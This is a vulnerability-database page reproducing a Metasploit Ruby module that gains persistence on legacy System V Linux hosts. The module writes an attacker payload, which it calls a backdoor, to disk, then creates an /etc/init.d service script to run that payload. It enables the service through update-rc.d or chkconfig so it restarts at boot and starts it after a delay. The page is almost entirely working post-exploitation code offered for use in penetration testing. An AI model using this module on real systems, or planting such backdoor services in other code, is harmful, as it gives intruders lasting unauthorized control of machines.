Lucene search
K

Service System V Persistence

🗓️ 16 Oct 2025 18:57:32Reported by h00dieType 
metasploit
 metasploit
🔗 www.rapid7.com👁 390 Views

Creates a System V persistence service with auto restart, for legacy systems.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Unix
  include Msf::Exploit::EXE # for generate_payload_exe
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Deprecated
  moved_from 'exploits/linux/local/service_persistence'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Service System V Persistence',
        'Description' => %q{
          This module will create a service via System V on the box, and mark it for auto-restart.
          We need enough access to write service files and potentially restart services.

          Some systems include backwards compatibility, such as Ubuntu up to about 16.04.

          Targets:
          CentOS <= 5
          Debian <= 6
          Kali 2.0
          Ubuntu <= 6.06
          Note: System V won't restart the service if it dies, only an init change (reboot etc) will restart it.

          Verified on Kali 2.0, Ubuntu 10.04
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die',
        ],
        'Platform' => ['unix', 'linux'],
        'Targets' => [
          [
            'System V', {
              runlevel: '2 3 4 5'
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Arch' => [
          ARCH_CMD,
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
        'References' => [
          ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'],
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['ATT&CK', Mitre::Attack::Technique::T1543_CREATE_OR_MODIFY_SYSTEM_PROCESS]
        ],
        'SessionTypes' => ['shell', 'meterpreter'],
        'Privileged' => true,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        },
        'DisclosureDate' => '1983-01-01' # system v release date
      )
    )

    register_options(
      [
        OptString.new('PAYLOAD_NAME', [false, 'Name of shell file to write']),
        OptString.new('SERVICE', [false, 'Name of service to create'])
      ]
    )
    register_advanced_options(
      [
        OptBool.new('EnableService', [true, 'Enable the service', true])
      ]
    )
  end

  def check
    print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
    return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
    return CheckCode::Safe('/etc/init.d/ isnt writable') unless writable?('/etc/init.d/')

    has_updatercd = command_exists?('update-rc.d')
    if has_updatercd || command_exists?('chkconfig') # centos 5
      return CheckCode::Appears("#{writable_dir} is writable and system is System V based")
    end

    CheckCode::Safe('Likely not a System V based system')
  end

  def install_persistence
    backdoor = write_shell(writable_dir)

    path = backdoor.split('/')[0...-1].join('/')
    file = backdoor.split('/')[-1]

    system_v(path, file, target.opts[:runlevel], command_exists?('update-rc.d'))
  end

  def write_shell(path)
    file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
    backdoor = "#{path}/#{file_name}"
    vprint_status("Writing backdoor to #{backdoor}")
    if payload.arch.first == 'cmd'
      write_file(backdoor, payload.encoded)
      chmod(backdoor, 0o755)
    else
      upload_and_chmodx backdoor, generate_payload_exe
    end
    @clean_up_rc << "rm #{backdoor}\n"

    if file_exist?(backdoor)
      chmod(backdoor, 0o711)
      return backdoor
    end
    fail_with(Failure::NoAccess, 'File not written, check permissions.')
  end

  def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd)
    if has_updatercd
      vprint_status('Utilizing update-rc.d')
    else
      vprint_status('Utilizing chkconfig')
    end

    service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)

    script = <<~EOF
      #!/bin/sh
      ### BEGIN INIT INFO
      # Provides:          #{service_filename}
      # Required-Start:    $network
      # Required-Stop:     $network
      # Default-Start:     #{runlevel}
      # Default-Stop:      0 1 6
      # Short-Description: Start daemon at boot time
      # Description:       Enable service provided by daemon.
      ### END INIT INFO
      DIR="#{backdoor_path}"
      CMD="#{backdoor_file}"
      NAME="$(basename "$0")"
      PID_FILE="/var/run/$NAME.pid"
      STDOUT_LOG="/var/log/$NAME.log"
      STDERR_LOG="/var/log/$NAME.err"
      get_pid() {
          [ -f "$PID_FILE" ] && cat "$PID_FILE"
      }
      is_running() {
          PID=$(get_pid)
          [ -n "$PID" ] && kill -0 "$PID" 2>/dev/null
      }
      start_service() {
          if is_running; then
              echo "$NAME is already running."
              return 0
          fi
          echo "Starting $NAME..."
          sleep 10 && $DIR/$CMD >> "$STDOUT_LOG" 2>> "$STDERR_LOG" &
          echo $! > "$PID_FILE"
          sleep 1
          if is_running; then
              echo "$NAME started successfully."
          else
              echo "Failed to start $NAME. Check logs: $STDOUT_LOG $STDERR_LOG"
              exit 1
          fi
      }
      stop_service() {
          if ! is_running; then
              echo "$NAME is not running."
              return 0
          fi
          echo "Stopping $NAME..."
          kill "$(get_pid)" && rm -f "$PID_FILE"
          for i in $(seq 1 10); do
              if ! is_running; then
                  echo "$NAME stopped."
                  return 0
              fi
              sleep 1
          done
          echo "Failed to stop $NAME."
          exit 1
      }
      case "$1" in
          start) start_service ;;
          stop) stop_service ;;
          restart)
              stop_service
              start_service
              ;;
          status)
              if is_running; then
                  echo "$NAME is running."
              else
                  echo "$NAME is stopped."
                  exit 1
              fi
              ;;
          *)
              echo "Usage: $0 {start|stop|restart|status}"
              exit 1
              ;;
      esac
      exit 0
    EOF

    service_name = "/etc/init.d/#{service_filename}"
    vprint_status("Writing service: #{service_name}")
    write_file(service_name, script)

    fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_name)

    @clean_up_rc << "rm #{service_name}\n"
    @clean_up_rc << "rm /var/log/#{service_name}.log\n"
    @clean_up_rc << "rm /var/log/#{service_name}.err\n"
    chmod(service_name, 0o755)
    print_good('Enabling & starting our service (10 second delay for payload)')
    if has_updatercd
      cmd_exec("update-rc.d #{service_filename} defaults")
      cmd_exec("update-rc.d #{service_filename} enable")
      if file_exist?('/usr/sbin/service') # some systems have update-rc.d but not service binary, have a fallback just in case
        cmd_exec("service #{service_filename} start")
      else
        cmd_exec("/etc/init.d/#{service_filename} start")
      end
    else # CentOS
      cmd_exec("chkconfig --add #{service_filename}")
      cmd_exec("chkconfig #{service_filename} on")
      cmd_exec("/etc/init.d/#{service_filename} start")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation